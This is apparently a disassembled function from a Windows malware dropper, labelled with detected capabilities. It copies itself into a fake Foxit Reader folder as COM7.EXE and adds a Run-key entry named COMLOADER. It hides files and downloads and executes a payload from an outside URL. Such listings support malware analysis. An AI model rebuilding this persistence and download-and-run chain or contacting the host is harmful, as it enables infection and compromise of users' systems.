Function at 0x40219c
Capabilities:
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x948
mov dword [esp], str.MODE_:_COM7_n
call sub.msvcrt.dll_printf
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e0]
jl 0x4021d8
cmp dword [0x408484], 0
jns 0x4021d8
call fcn.00403ce0
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e4]
jl 0x4021f3
cmp dword [0x408484], 0
jns 0x4021f3
call fcn.00403a05
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x520], 0
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x518]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0xff
jg 0x402319
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
cmp byte [eax], 0
je 0x40230b
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x40230b
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x63
je 0x40230b
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x418]
mov dword [esp], eax
call fcn.0040492f
cmp eax, 1
jne 0x40230b
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 3
jne 0x40230b
mov dword [ebp - 0x520], 1
jmp 0x402319
lea eax, [ebp - 0x51c]
add dword [eax], 4
jmp 0x402248
cmp dword [ebp - 0x520], 0
jne 0x402338
mov dword [esp + 4], 0x40a274
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.._sProgram_FilesFoxitReader_bin_
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.0040492f
test eax, eax
jne 0x402378
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00404a9d
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.._sProgram_FilesFoxitReader_binCOM7.EXE
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.ADD_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__f__t_REG_SZ__v_COMLOADER__d__._sProgram_FilesFoxitReader_binCOM7.EXE_
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], 0x40a353
call fcn.00402c21
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.._sProgram_FilesFoxitReaderFoxitReader.exe
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40c0d0
call fcn.0040492f
test eax, eax
jne 0x402461
mov dword [esp], 0x40c0d0
call fcn.00404a9d
mov dword [esp + 4], 0x27
mov dword [esp], 0x40c0d0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40d900
call fcn.00403018
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.004048e1
test eax, eax
jne 0x4024bb
mov dword [esp], 0x48de40
call fcn.00403018
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00402c64
jmp 0x4024ef
mov dword [esp], 0x48de40
call fcn.00402cfc
test eax, eax
jne 0x4024ef
mov dword [esp], 0x48de40
call fcn.00403018
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48de40
call fcn.00402c64
mov dword [esp], str.start_downloading_..._n
call sub.msvcrt.dll_printf
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp + 4], 8
lea eax, [ebp - 0x938]
mov dword [esp], eax
call fcn.00402f8e
lea eax, [ebp - 0x938]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40c0d0
mov dword [esp + 4], str._s_s.exe
lea eax, [ebp - 0x928]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x928]
mov dword [esp + 4], eax
mov dword [esp], str.http:__www.ibayme.eb2a.com_dwn.dmp
call fcn.00402f74
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x928]
mov dword [esp], eax
call fcn.00402c64
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402588
leave
ret